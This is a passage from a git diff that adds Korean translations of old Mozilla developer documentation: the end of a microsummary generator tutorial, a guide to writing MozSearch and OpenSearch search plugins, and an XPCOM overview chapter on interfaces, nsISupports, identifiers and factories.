기본적으로 Generators는 어느 페이지에도 적용되지 않기 때문에 적용하는 페이지를 명시적으로 지정할 필요가 있습니다.이전 적용하고 있던 페이지가 없는 한 어느 페이지도 적용을 제외할 필요는 없습니다.

+

Spread Firefox의 홈 페이지에 연결하는 <include> 요소를 추가합니다.

+
<?xml version="1.0" encoding="UTF-8"?>
+<generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="Firefox Download Count">
+  <template>
+    <transform xmlns="http://www.w3.org/1999/XSL/Transform" version="1.0">
+      <output method="text"/>
+      <template match="/">
+        <value-of select="id('download-count')"/>
+        <text> Fx downloads</text>
+      </template>
+    </transform>
+  </template>
+  <pages>
+    <include>http://(www.)?spreadfirefox.com/(index.php)?</include>
+  </pages>
+</generator>
+
+

Generators 다운로드 하기

+

Generators가 적용된 Spread Firefox 홈 페이지에 적용할 수 있게 되었으므로 마지막 할일은 이것을 다운로드할 수 있도록 하는 것 뿐입니다.그러기 위해서 이것을 웹에 두어 어딘가의 페이지에 JavaScript의 링크를 작성할 필요가 있습니다.이 링크는 Generators 다운로드와 설치를 위한 Firefox의 window.sidebar.addMicrosummaryGenerator() 메소드를 호출 하도록 합니다.

+


+ 예를 들면,Generators를 http://people.mozilla.com/~myk/micro...generator.xml에 두고 http://people.mozilla.com/~myk/micro...al/index.html로 부터 설치 하도록 하고 싶으면 다음과 같은 코드를 index.html에 추가합니다.

+
<a href="javascript:window.sidebar.addMicrosummaryGenerator('http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml')">Install the Spread Firefox home page microsummary!</a>
+
+

Microsummary를 지원 하지 않는 웹 브라우저로 이 링크를 클릭하면 JavaScript의 에러가 발생합니다만 사용자 경험(experience)을 향상시키기 위해 Microsummary를 제공하는 브라우저를 사용하고 있을지를 조사하고 그렇지 않다면 설명을 표시해야 하겠지요.예를 들면 다음과 같은 코드입니다.

+
<script>
+  const warning = "Sorry, you need a microsummary-enabled browser like Firefox 2.0 to install and use microsummary generators.";
+  function addGenerator(url) {
+    if (typeof window.sidebar == "object" &&
+        typeof window.sidebar.addMicrosummaryGenerator == "function")
+      window.sidebar.addMicrosummaryGenerator(url);
+    else
+     alert(warning);
+  }
+</script>
+<a href="javascript:addGenerator('http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml')">Install the Spread Firefox home page microsummary!</a>
+
+

{{ Bug(341283) }}에 의해,addMicrosummaryGenerator()는 상대 URL을 받아들이지 않는 것에 주의해 주세요.

+

마치며

+

이것을 설치 하면 최신 Firefox 다운로드수를 표시하는 Microsummary Generator를 사용 할 수 있습니다. Spread Firefox 홈 페이지를 북마크하고, Add Bookmark 대화상자의 Summary 드롭 다운 메뉴로부터 Microsummary를 선택해 주세요.

+

Microsummary 에 관한 상세한 정보는 Microsummaries home page를 참조해 주세요.

diff --git a/files/ko/creating_mozsearch_plugins/index.html b/files/ko/creating_mozsearch_plugins/index.html new file mode 100644 index 0000000000..e142f00592 --- /dev/null +++ b/files/ko/creating_mozsearch_plugins/index.html @@ -0,0 +1,169 @@ +--- +title: Creating MozSearch plugins +slug: Creating_MozSearch_plugins +tags: + - Search plugins +translation_of: Mozilla/Creating_MozSearch_plugins +--- +

Firefox 2에서는 검색 플러그 인을 작성하기 위해서 Amazon A9의 OpenSearch포맷을 단순화한 MozSearch를 지원 하고 있습니다. OpenSearch 검색 플러그 인도 물론 지원 되고 있습니다. 자세한 것은 OpenSearch 사이트를 참조해 주세요.

+

MozSearch 검색 플러그인은 검색 엔진과 URL을 해석하는데 필요한 요소들을 정의한 XML파일입니다.

+
+ 주의: MozSearch는 Firefox에서만 지원됩니다. 만약 다른 웹 브라우저 호환이 되는 플러그인을 사용하고 싶다면 표준 OpenSearch 포맷을 사용해야 합니다. 두 포맷은 매우 비슷해서 바꾸는 데 큰 문제는 없습니다.
+

플러그 인 파일

+

검색 엔진을 설명하는 XML파일은 매우 간단하고 기본적인 템플릿입니다. 이탤릭으로 되어 있는 곳은는 쓰고 있는 검색 엔진의 필요에 따라 바꿀 수 있습니다.

+
<SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/">
+<ShortName>engineName</ShortName>
+<Description>engineDescription</Description>
+<InputEncoding>inputEncoding</InputEncoding>
+<Image width="16" height="16">data:image/x-icon;base64,imageData</Image>
+<Url type="text/html" method="method" template="searchURL">
+  <Param name="paramName1" value="paramName1"/>
+  ...
+  <Param name="paramNameN" value="paramValueN"/>
+</Url>
+<Url type="application/x-suggestions+json" template="suggestionURL"/>
+<SearchForm>searchFormURL</SearchForm>
+</SearchPlugin>
+
+
+
+ ShortName
+
+ 검색 엔진에 대한 간단한 이름.
+
+ Description
+
+ 검색 엔진에 대한 간단한 설명.
+
+ InputEncoding
+
+ 검색 엔진이 데이터 입력에 사용하는 문자 인코딩 방식.
+
+ Image
+
+ 검색 엔진을 표시하는 Base-64로 인코딩 된 16x16의 아이콘. 이 코드를 작성하는데 사용할 수 있는 편리한 The data: URI kitchen을 사용할 수 있습니다.
+
+ Url
+
+ 검색에 사용한다 한 개 또는 복수의 URL. method 속성은 결과를 얻기 위해서 code>GET</code>과 POST 요청 어느 쪽을 사용하는지 지정합니다.template 속성은 검색 쿼리의 기본이 되는 URL을 지정합니다.
+
+
+
+ 당신이 설정할 수 있는 두 가지 URL 형식이 있습니다:
+
+ +
+
+ 어느 쪽의 URL을 사용하던지 사용자가 검색 플러그인에 입력한 검색 키워드로 {searchTerms}을 사용할 수 있습니다.
+
+
+
+ 검색 자동완성 기능의 쿼리로 지정된 URL 템플릿은 JSON 형식으로 제공 되어야 합니다. 서버 상에서 검색 자동완성 기능을 개발하는 것에 대해서는 검색 플러그인에서 자동 완성 지원을 참고하십시오.
+
+


+ Image:SearchSuggestionSample.png

+
+
+ Param
+
+ 검색 쿼리를 통과 시키기 위해 필요한 키값의 페어 파라미터입니다.이 값을 지정하면 사용자가 검색 바에 입력한 검색 어구를 삽입하기 위한 {searchTerms}을 사용할 수 있습니다.
+
+
+
+ SearchForm
+
+ 플러그 인 사이트의 검색 페이지를 열기 위한 URL. 이것은 Firefox에 사용자가 직접 웹 사이트를 방문하는 방법을 제공합니다.
+
+

검색 엔진 자동 찾기

+

검색 플러그 인을 제공하고 있는 웹 사이트는 Firefox 사용자가 플러그 인을 간단하게 다운로드해 인스톨 할 수 있도록 알려 줄 수 있습니다.

+

자동 찾기를 지원하려면, 웹페이지 <HEAD> 요소에 아래 내용을 추가하면 됩니다.:

+
<link rel="search" type="application/opensearchdescription+xml" title="searchTitle" href="pluginURL">
+
+

이탤릭의 항목은 아래에서 설명하고 있습니다.:

+
+
+ searchTitle
+
+ "MDC에서 검색" 이나 'Yahoo! 검색"과 같이 실행하는 검색의 이름입니다.이 값은, 플러그 인 파일의 ShortName과 일치시킬 필요가 있습니다.
+
+
+
+ pluginURL
+
+ 웹 브라우저가 다운로드할 수 있는 XML 검색 플러그 인의 URL 입니다.
+
+

만약 당신의 웹 사이트가 다수의 검색 플러그 인을 제공하고 있다면 모두 자동 찾기를 지원하게 할 수 있습니다.예를 들면:

+
<link rel="search" type="application/opensearchdescription+xml" title="MySite: 저자" href="http://www.mysite.com/mysiteauthor.xml">
+<link rel="search" type="application/opensearchdescription+xml" title="MySite: 제목" href="http://www.mysite.com/mysitetitle.xml">
+
+

이 방법으로 당신의 사이트는 저자로서 검색과 타이틀로서 검색을 다른 요소로 플러그 인을 제공할 수 있습니다.

+

예제: Yahoo! 검색

+

아래 XML 파일은 Yahoo! 검색을 이용하기 위해 Firefox2에 번들된 검색 플러그인 입니다.

+

 

+
<SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/">
+<ShortName>Yahoo</ShortName>
+<Description>Yahoo Search</Description>
+<InputEncoding>UTF-8</InputEncoding>
+<SuggestionUrl>http://ff.search.yahoo.com/gossip?output=fxjson&command=</SuggestionUrl>
+<Image width="16" height="16">data:image/x-icon;base64,R0lGODlhEAAQAJECAP8AAAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIplI+py+0NogQuyBDEnEd2kHkfFWUamEzmpZSfmaIHPHrRguUm/fT+UwAAOw==</Image>
+<Url type="text/html" method="GET" template="http://search.yahoo.com/search">
+  <Param name="p" value="{searchTerms}"/>
+  <Param name="ei" value="UTF-8"/>
+  <Param name="fr" value="moz2"/>
+</Url>
+<SearchForm>http://search.yahoo.com/</SearchForm>
+</SearchPlugin>
+
+

만약 사용자가 Yahoo! 검색 엔진 플러그인을 선택해 검색 상자에 'mozilla'라고 입력한 후 엔터키를 누르면 Firefox는 검색 기능을 수행하기 위해 플러그인에서 설명된 방법을 사용합니다.

+
http://search.yahoo.com/search?p=mozilla&ei=UTF-8&fr=moz2
+
+


+ 만약 사용자가 검색 플러그인의 확대경 아이콘을 클릭하면, 웹 사이트로 이동합니다. 도구 메뉴 웹 검색 옵션을 선택하면, 브라우저는 <SearchForm>에 <tt>http://search.yahoo.com/</tt>을 포함 합니다.

+

예제 MDC 검색

+

이 플러그 인으로 Mozilla Developer Center의 웹 사이트를 간단하게 검색할 수 있습니다.

+
<SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/">
+<ShortName>MDC</ShortName>
+<Description>Mozilla Developer Center search</Description>
+<InputEncoding>UTF-8</InputEncoding>
+<Image width="16" height="16">data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8%2F9hAAAABGdBTUEAAK%2FINwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHWSURBVHjaYvz%2F%2Fz8DJQAggJiQOe%2Ffv2fv7Oz8rays%2FN%2BVkfG%2FiYnJfyD%2F1%2BrVq7ffu3dPFpsBAAHEAHIBCJ85c8bN2Nj4vwsDw%2F8zQLwKiO8CcRoQu0DxqlWrdsHUwzBAAIGJmTNnPgYa9j8UqhFElwPxf2MIDeIrKSn9FwSJoRkAEEAM0DD4DzMAyPi%2FG%2BQKY4hh5WAXGf8PDQ0FGwJ22d27CjADAAIIrLmjo%2BMXA9R2kAHvGBA2wwx6B8W7od6CeQcggKCmCEL8bgwxYCbUIGTDVkHDBia%2BCuotgACCueD3TDQN75D4xmAvCoK9ARMHBzAw0AECiBHkAlC0Mdy7x9ABNA3obAZXIAa6iKEcGlMVQHwWyjYuL2d4v2cPg8vZswx7gHyAAAK7AOif7SAbOqCmn4Ha3AHFsIDtgPq%2FvLz8P4MSkJ2W9h8ggBjevXvHDo4FQUQg%2FkdypqCg4H8lUIACnQ%2FSOBMYI8bAsAJFPcj1AAEEjwVQqLpAbXmH5BJjqI0gi9DTAAgDBBCcAVLkgmQ7yKCZxpCQxqUZhAECCJ4XgMl493ug21ZD%2BaDAXH0WLM4A9MZPXJkJIIAwTAR5pQMalaCABQUULttBGCCAGCnNzgABBgAMJ5THwGvJLAAAAABJRU5ErkJggg%3D%3D</Image>
+<Url type="text/html" method="GET" template="http://developer.mozilla.org/en/docs/Special:Search?search={searchTerms}"/>
+<SearchForm>http://developer.mozilla.org/en/docs/Special:Search</SearchForm>
+</SearchPlugin>
+
+


+ 예제에서는 검색 엔진의 파라미터를 정의하기 위해 <Param>는 아니고 단순하게 템플릿 URL을 사용하고 있는 것에 주의해 주십시오. 이것은 실제로 메소드로서 GET을 사용할 때에 적당한 방법입니다. <Param>POST을 위해 사용해야 합니다.

+

 

+

문제 해결 방법

+

만약 당신의 검색 플러그 인 XML 파일에 오류가 있으면 Firefox 2에 플러그 인을 추가할 때에 에러를 나타내게 될 것입니다. 에러 메세지는 완전한 것은 아니지만 문제를 찾는 데 도움이 될 것입니다.

+ + +

또한, 검색 플러그 인 서비스는 플러그 인 개발자가 사용할 로그의 구조를 제공합니다. + + about:config + 의 'browser.search.log'을 true로 해야 합니다. 검색 플러그 인이 추가되면 로그 정보가 Firefox 의오류 정보(도구-> 오류 정보)에 표시됩니다.

+

OpenSearch

+

Firefox 2의 검색 결과를 공유하기 위해서 Amazon A9의 OpenSearch 형식되 지원합니다. OpenSearch 사용법을 이용해 XML 플러그인을 제작 했다면 사용자 프로필 또는 어플리케이션 폴더, 설치 번들 안의 <tt>searchengines</tt> 디렉토리에 넣어 줌으로서 검색엔진을 추가할 수 있습니다

+

OpenSearch 파일은검색 엔진 자동 찾기에 설명한 방법을 통해 표시할 수 있습니다.

+

OpenSearch 형식은 Mozilla SearchPlugin 형식과 닮아 있으나 가장 큰 차이는 루트 요소와 XML 네임 스페이스가 다른 것입니다.

+
<?xml version="1.0"  encoding="UTF-8"?>
+<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
+...
+</OpenSearchDescription>
+
+

참고 자료

+ +

플러그 인의 작성. 작성된 검색 플러그 목록

+

{{ languages( { "ca": "ca/Creaci_de_connectors_MozSearch", "en": "en/Creating_MozSearch_plugins", "it": "it/Creare_Plugin_MozSearch", "ja": "ja/Creating_MozSearch_plugins" } ) }}

diff --git a/files/ko/creating_xpcom_components/an_overview_of_xpcom/index.html b/files/ko/creating_xpcom_components/an_overview_of_xpcom/index.html new file mode 100644 index 0000000000..03b5dbcba6 --- /dev/null +++ b/files/ko/creating_xpcom_components/an_overview_of_xpcom/index.html @@ -0,0 +1,531 @@ +--- +title: An Overview of XPCOM +slug: Creating_XPCOM_Components/An_Overview_of_XPCOM +tags: + - XPCOM +translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components/An_Overview_of_XPCOM +--- +

+

« 이전다음 »

+
This is a book about XPCOM. The book is written in the form of a tutorial about creating XPCOM components, but it covers all major aspects, concepts, and terminology of the XPCOM component model along the way.

+ +

This chapter starts with a quick tour of XPCOM - an introduction to the basic concepts and technologies in XPCOM and component development. The brief sections in this chapter introduce the concepts at a very high level, so that we can discuss and use them with more familiarity in the tutorial itself, which describes the creation of a Mozilla component called WebLock.

+ +

The XPCOM Solution

+ +

The Cross Platform Component Object Module (XPCOM) is a framework which allows developers to break up monolithic software projects into smaller modularized pieces. These pieces, known ascomponents , are then assembled back together at runtime.

+ +

The goal of XPCOM is to allow different pieces of software to be developed and built independently of one another. In order to allow interoperability between components within an application, XPCOM separates theimplementation of a component from theinterface , which we discuss in Interfaces. But XPCOM also provides several tools and libraries that enable the loading and manipulation of these components, services that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or having to recreate the application. Using XPCOM, developers create components that can be reused in different applications or that can be replaced to change the functionality of existing applications.

+ +

XPCOM not only supports component software development, it also provides much of the functionality that a development platform provides, such as:

+ + + +

We will discuss the above items in detail in the coming chapters, but for now, it can be useful to think of XPCOM as aplatform for component development , in which features such as those listed above are provided.

+ +

Gecko

+ +

Although it is in some ways structurally similar to Microsoft COM, XPCOM is designed to be used principally at the application level. The most important use of XPCOM is withinGecko , an open source, standards compliant, embeddable web browser and toolkit for creating web browsers and other applications.

+ +

XPCOM is the means of accessing Gecko library functionality and embedding or extending Gecko. This book focuses on the latter - extending Gecko - but the fundamental ideas in the book will be important to developers embedding Gecko as well.

+ +

Gecko is used in many internet applications, mostly browsers. The list includes devices such as the Gateway/AOL Instant AOL device and the Nokia Media Terminal. Gecko is also used in the latest Compuserve client, AOL for Mac OS X, Netscape 7, and of course the Mozilla client. At this time, Gecko is the predominant open source web browser.

+ +

Components

+ +

XPCOM allows you to build a system in which large software projects can be broken up into smaller pieces. These pieces, known as components, are usually delivered in small, reusable binary libraries (a DLL on Windows, for example, or a DSO on Unix), which can include one or more components. When there are two or more related components together in a binary library, the library is referred to as amodule .

+ +

Breaking software into different components can help make it less difficult to develop and maintain. Beyond this, modular, component-based programming has some well-known advantages:

+ + + + + + + + + + + + + + + + + + + + + + + + +
BenefitDescription
재사용모듈화된 코드는 다른 응용프로그램들과 문맥들에서 재사용 될 수 있다.
갱신전체 응용프로그램을 재컴파일하지 않고 컴포넌트들을 갱신할 수 있다.
성능코드가 모듈화되면, 곧바로 필요하지 않은 모듈들은 메모리에 늦게 적재되거나(lazy loaded), 아예 적제되지 않아 응용프로그램의 성능을 향상시키는 효과를 가져올 수 있다.
관리Even when you are not updating a component, designing your application in a modular way can make it easier for you to find and maintain the parts of the application that you are interested in.
+ +

Mozilla has over four million lines of code, and no single individual understands the entire codebase. The best way to tackle a project of this size is to divide it into smaller, more managable pieces, use a component programming model, and to organize related sets of components into modules. The network library, for example, consists of components for each of the protocols, HTTP, FTP, and others, which are bundled together and linked into a single library. This library is the networking module, also known as "necko."

+ +

But it's not always a good idea to divide things up. There are some things in the world that just go together, and others that shouldn't be apart. For example, one author's son will not eat a peanutbutter sandwich if there isn't jam on it, because in his world, peanut butter and jam form an indelible union. Some software is the same. In areas of code that are tightly-coupled-in classes that are only used internally, for example-the expensive work to divide things may not be worth the effort.

+ +

The HTTP component in Gecko doesn't expose private classes it uses as separate components. The "stuff" that's internal to the component stays internal, and isn't exposed to XPCOM. In the haste of early Mozilla development, components were created where they were inappropriate, but there's been an ongoing effort to remove XPCOM from places like this.

+ +

인터페이스

+ +

It's generally a good idea to break software into components, but how exactly do you do this? The basic idea is to identify the pieces of functionality that are related and understand how they communicate with each other. The communication channels between different component form boundaries between those components, and when those boundaries are formalized they are known asinterfaces .

+ +

Interfaces aren't a new idea in programming. We've all used interfaces since our first "HelloWorld" program, where the interface was between the code we actually wrote-the application code-and the printing code. The application code used an interface from a library, stdio, to print the "hello world" string out to the screen. The difference here is that a "HelloWorld" application in XPCOM finds this screen-printing functionality at runtime and never has to know about stdio when it's compiled.

+ +

Interfaces allow developers toencapsulate the implementation and inner workings of their software, and allow clients to ignore how things are made and just use that software.

+ +
+

Interfaces and Programming by Contract

+ +

An interface forms a contractual agreement between components and clients. There is no code that enforces these agreements, but ignoring them can be fatal. In component-based programming, a component guarantees that the interfaces it provides will beimmutable - that they will provide the same access to the same methods across different versions of the component - establishing a contract with the software clients that use it. In this respect, interface-based programming is often referred to asprogramming by contract .

+
+ +

Interfaces and Encapsulation

+ +

Between component boundaries, abstraction is crucial for software maintainability and reusability. Consider, for example, a class thatisn't well encapsulated. Using a freely available public initialization method, as the example below suggests, can cause problems.

+ +

SomeClass Class Initialization

+ +
class SomeClass
+{
+  public:
+    // Constructor
+    SomeClass();
+
+    // Virtual Destructor
+    virtual ~SomeClass();
+
+    // init method
+    void Init();
+
+    void DoSomethingUseful();
+};
+
+ +

For this system to work properly, the client programmer must pay close attention to whatever rules the component programmer has established. This is the contractual agreement of this unencapsulated class: a set of rules that define when each method can be called and what it is expected to do. One rule might specify that DoSomethingUseful may only be called after a call to Init(). The DoSomethingUseful method may do some kind of checking to ensure that the condition - that Init has been called - has been satisfied.

+ +

In addition to writing well-commented code that tells the client developer the rules about Init(), the developer can take a couple steps to make this contract even clearer. First, the construction of an object can be encapsulated, and avirtual class provided that defines the DoSomethingUseful method. In this way, construction and initialization can be completely hidden from clients of the class. In this "semi-encapsulated" situation, the only part of the class that is exposed is a well-defined list of callable methods (i.e., the interface). Once the class is encapsulated, the only interface the client will see is this:

+ +

Encapsulation of SomeInterface

+ +
class SomeInterface
+{
+  public:
+    virtual void DoSomethingUseful() = 0;
+};
+
+ +

The implementation can then derive from this class and implement the virtual method. Clients of this code can then use a factory design pattern to create the object (see Factories) and further encapsulate the implementation. In XPCOM, clients are shielded from the inner workings of components in this way and rely on the interface to provide access to the needed functionality.

+ +

The nsISupports Base Interface

+ +

Two fundamental issues in component and interface-based programming arecomponent lifetime , also calledobject ownership , andinterface querying , or being able to identify which interfaces a component supports at runtime. This section introduces the base interface-the mother of all interfaces in XPCOM - nsISupports, which provides solutions to both of these issues for XPCOM developers.

+ +
Object Ownership
+ +

In XPCOM, since components may implement any number of different interfaces, interfaces must bereference counted . Components must keep track of how many references to it clients are maintaining and delete themselves when that number reaches zero.

+ +

When a component gets created, an integer inside the component tracks this reference count. The reference count is incremented automatically when the client instantiates the component; over the course of the component's life, the reference count goes up and down, always staying above zero. At some point, all clients lose interest in the component, the reference count hits zero, and the component deletes itself.

+ +

When clients use interfaces responsibly, this can be a very straightforward process. XPCOM has tools to make it even easier, as we describe later. It can raise some real housekeeping problems when, for example, a client uses an interface and forgets to decrement the reference count. When this happens, interfaces may never be released and will leak memory. The system of reference counting is, like many things in XPCOM, a contract between clients and implementations. It works when people agree to it, but when they don't, things can go wrong. It is the responsibility of the function that creates the interface pointer to add the initial reference, orowning reference , to the count.

+ +
+

Pointers in XPCOM

+ +

In XPCOM,pointers refer to interface pointers. The difference is a subtle one, since interface pointers and regular pointers are both just address in memory. But an interface pointer is known to implement the nsISupports base interface, and so can be used to call methods such as AddRef, Release, or QueryInterface.

+
+ +

nsISupports, shown below, supplies the basic functionality for dealing with interface discovery and reference counting. The members of this interface, QueryInterface, AddRef, and Release, provide the basic means for getting the right interface from an object, incrementing the reference count, and releasing objects once they are not being used, respectively. The nsISupports interface is shown below:

+ +

The nsISupports Interface

+ +
class Sample: public nsISupports
+{
+  private:
+    nsrefcnt mRefCnt;
+  public:
+    Sample();
+    virtual ~Sample();
+
+    NS_IMETHOD QueryInterface(const nsIID &aIID, void **aResult);
+    NS_IMETHOD_(nsrefcnt) AddRef(void);
+    NS_IMETHOD_(nsrefcnt) Release(void);
+};
+
+ +

The various types used in the interface are described in the XPCOM Types section below. A complete (if spare) implementation of the nsISupports interface is shown below:

+ +

Implementation of nsISupports Interface

+ +
// initialize the reference count to 0
+Sample::Sample() : mRefCnt(0)
+{
+}
+Sample::~Sample()
+{
+}
+
+// typical, generic implementation of QI
+NS_IMETHODIMP Sample::QueryInterface(const nsIID &aIID,
+                                  void **aResult)
+{
+  if (aResult == NULL) {
+    return NS_ERROR_NULL_POINTER;
+  }
+  *aResult = NULL;
+  if (aIID.Equals(kISupportsIID)) {
+    *aResult = (void *) this;
+  }
+  if (*aResult == NULL) {
+    return NS_ERROR_NO_INTERFACE;
+  }
+  // add a reference
+  AddRef();
+  return NS_OK;
+}
+
+NS_IMETHODIMP_(nsrefcnt) Sample::AddRef()
+{
+  return ++mRefCnt;
+}
+
+NS_IMETHODIMP_(nsrefcnt) Sample::Release()
+{
+  if (--mRefCnt == 0) {
+    delete this;
+    return 0;
+  }
+  // optional: return the reference count
+  return mRefCnt;
+}
+
+ +
Object Interface Discovery
+ +

Inheritanceis another very important topic in object oriented programming. Inheritance is the means through which one class is derived from another. When a class inherits from another class, the inheriting class mayoverride the default behaviors of the base class without having to copy all of that class's code, in effect creating a more specific class, as in the following example:

+ +

Simple Class Inheritance

+ +
class Shape
+{
+  private:
+    int m_x;
+    int m_y;
+
+  public:
+    virtual void Draw() = 0;
+    Shape();
+    virtual ~Shape();
+};
+
+class Circle : public Shape
+{
+  private:
+    int m_radius;
+  public:
+    virtual Draw();
+    Circle(int x, int y, int radius);
+    virtual ~Circle();
+};
+
+ +

Circle is a derived class of Shape. A Circle is a Shape, in other words, but a Shape is not necessarily a Circle. In this case, Shape is thebase class and Circle is asubclass of Shape.

+ +

In XPCOM, all classes derive from the nsISupports interface, so all objects are nsISupports but they are also other, more specific classes, which you need to be able to find out about at runtime. In Simple Class Inheritance, for example, you'd like to be able ask the Shape if it's a Circle and to be able to use it like a circle if it is. In XPCOM, this is what the QueryInterface feature of the nsISupports interface is for: it allows clients to find and access different interfaces based on their needs.

+ +

In C++, you can use a fairly advanced feature known as a dynamic_cast<>, which throws an exception if the Shape object is not able to be cast to a Circle. But enabling exceptions and RTTI may not be an option because of performance overhead and compatibility on many platforms, so XPCOM does things differently.

+ +
+

Exceptions in XPCOM

+ +

C++ exceptions are not supported directly by XPCOM. Instead all exceptions must be handled within a given component, before crossing interface boundaries. In XPCOM, all interface methods should return an nsresult error value (see the XPCOM API Reference for a listing of these error codes). These error code results become the "exceptions" that XPCOM handles.

+
+ +

Instead of leveraging C++ RTTI, XPCOM uses the special QueryInterface method that casts the object to the right interface if that interface is supported.

+ +

Every interface is assigned an identifier that gets generated from a tool commonly named "uuidgen". This universally unique identifier (UUID) is a unique, 128-bit number. Used in the context of an interface (as opposed to a component, which is what the contract ID is for), this number is called anIID .

+ +

When a client wants to discover if an object supports a given interface, the client passes the IID assigned to that interface into the QueryInterface method of that object. If the object supports the requested interface, it adds a reference to itself and passes back a pointer to that interface. If the object does not support the interface an error is returned.

+ +
class nsISupports {
+  public:
+    long QueryInterface(const nsIID & uuid,
+                        void **result) = 0;
+    long AddRef(void) = 0;
+    long Release(void) = 0;
+};
+
+ +

The first parameter of QueryInterface is a reference to a class named nsIID, which is a basic encapsulation of the IID. Of the three methods on the nsIID class, Equals, Parse, and ToString, Equals is by far the most important, because it is used to compare two nsIIDs in this interface querying process.

+ +

When you implement the nsIID class (and you'll see in the chapter Using XPCOM Utilities to Make Things Easier how macros can make this process much easier), you must make sure the class methods return a valid result when the client calls QueryInterface with the nsISupports IID. QueryInterface should support all interfaces that the component supports.

+ +

In implementations of QueryInterface, the IID argument is checked against the nsIID class. If there is a match, the object's this pointer is cast to void, the reference count is incremented, and the interface returned to the caller. If there isn't a match, the class returns an error and sets the out value to null.

+ +

In the example above, it's easy enough to use a C-style cast. But casting can become more involved where you must first cast void then to the requested type, because you must return the interface pointer in the vtable corresponding to the requested interface. Casting can become a problem when there is an ambiguous inheritance hierarchy.

+ +

XPCOM Identifiers

+ +

In addition to the IID interface identifier discussed in the previous section, XPCOM uses two other very important identifiers to distinguish classes and components.

+ +
+

XPCOM Identifier Classes

+ +

The nsIID class is actually a typedef for the nsID class. The other typedefs of nsID, CID and IID, refer to specific implementations of a concrete class and to a specific interface, respectively.

+ +

The nsID class provides methods like Equals for comparing identifiers in the code. See Identifiers in XPCOM for more discussion of the nsID class.

+
+ +

CID

+ +

A CID is a 128-bit number that uniquely identifies a class or component in much the same way that an IID uniquely identifies an interface. The CID for nsISupports looks like this:

+ +

00000000-0000-0000-c000-000000000046

+ +

The length of a CID can make it cumbersome to deal with in the code, so very often you see #defines for CIDs and other identifiers being used, as in this example:

+ +
#define SAMPLE_CID \
+{ 0x777f7150, 0x4a2b, 0x4301, \
+{ 0xad, 0x10, 0x5e, 0xab, 0x25, 0xb3, 0x22, 0xaa}}
+
+ +

You also see NS_DEFINE_CID used a lot. This simple macro declares a constant with the value of the CID:

+ +
static NS_DEFINE_CID(kWebShellCID, NS_WEB_SHELL_CID);
+
+ +

A CID is sometimes also referred to as aclass identifier . If the class to which a CID refers implements more than one interface, that CID guarantees that the class implements that whole set of interfaces when it's published or frozen.

+ +

Contract ID

+ +

A contract ID is a human readable string used to access a component. A CID or a contract ID may be used to get a component from the component manager. This is the contract ID for the LDAP Operation component:

+ +
"@mozilla.org/network/ldap-operation;1"
+
+ +

The format of the contract ID is thedomain of the component, themodule , thecomponent name , and theversion number , separated by slashes.

+ +

Like a CID, a contract ID refers to an implementation rather than an interface, as an IID does. But a contract ID is not bound to any specific implementation, as the CID is, and is thus more general. Instead, a contract ID only specifies a given set of interfaces that it wants implemented, and any number of different CIDs may step in and fill that request. This difference between a contract ID and a CID is what makes it possible to override components.

+ +

Factories

+ +

Once code is broken up into components, client code typically uses the new constructor to instantiate objects for use:

+ +
SomeClass* component = new SomeClass();
+
+ +

This pattern requires that the client know something about the component, however-how big it is at the very least. Thefactory design pattern can be used to encapsulate object construction. The goal of factories is create objects without exposing clients to the implementations and initializations of those objects. In the SomeClass example, the construction and initialization of SomeClass, which implements the SomeInterface abstract class, is contained within the New_SomeInterface function, which follows the factory design pattern:

+ +

Encapsulating the Constructor

+ +
int New_SomeInterface(SomeInterface** ret)
+{
+  // create the object
+  SomeClass* out = new SomeClass();
+  if (!out) return -1;
+
+  // init the object
+  if (out->Init() == FALSE)
+  {
+    delete out;
+    return -1;
+  }
+
+  // cast to the interface
+  *ret = static_cast<SomeInterface*>(out);
+  return 0;
+}
+
+ +

The factory is the class that actually manages the creation of separate instances of a component for use. In XPCOM, factories are implementations of the nsIFactory interface, and they use a factory design pattern like the example above to abstract and encapsulate object construction and initialization.

+ +

The example in Encapsulating the Constructor is a simple and stateless version of factories, but real world programming isn't usually so simple, and in general factories need to store state. At a minimum, the factory needs to preserve information about what objects it has created. When a factory manages instances of a class built in a dynamic shared library, for example, it needs to know when it can unload the library. When the factory preserves state, you can ask if there are outstanding references and find out if the factory created any objects.

+ +

Another state that a factory can save is whether or not an object is asingleton . For example, if a factory creates an object that is supposed to be a singleton, then subsequent calls to the factory for the object should return the same object. Though there are tools and better ways to handle singletons (which we'll discuss when we talk about the nsIServiceManager), a developer may want to use this information to ensure that only one singleton object can exist despite what the callers do.

+ +

The requirements of a factory class can be handled in a strictly functional way, with state being held by global variables, but there are benefits to using classes for factories. When you use a class to implement the functionality of a factory, for example, you derive from the nsISupports interface, which allows you to manage the lifetime of the factory objects themselves. This is important when you want to group sets of factories together and determine if they can be unloaded. Another benefit of using the nsISupports interface is that you can support other interfaces as they are introduced. As we'll show when we discuss nsIClassInfo, some factories support querying information about the underlying implementation, such as what language the object is written in, interfaces that the object supports, etc. This kind of "future-proofing" is a key advantage that comes along with deriving from nsISupports.

+ +

XPIDL and Type Libraries

+ +

An easy and powerful way to define an interface - indeed, a requirement for defining interfaces in a cross-platform, language neutral development environment - is to use aninterface definition language (IDL). XPCOM uses its own variant of the CORBA OMG Interface Definition Language (IDL) called XPIDL, which allows you to specify methods, attributes and constants of a given interface, and also to define interface inheritance.

+ +

There are some drawbacks to defining your interface using XPIDL. There is no support for multiple inheritance, for one thing. If you define a new interface, it cannot derive from more than one interface. Another limitation of interfaces in XPIDL is that method names must be unique. You can not have two methods with the same name that take different parameters, and the workaround - having multiple function names - isn't pretty:

+ +
void FooWithInt(in int x);
+void FooWithString(in string x);
+void FooWithURI(in nsIURI x);
+
+ +

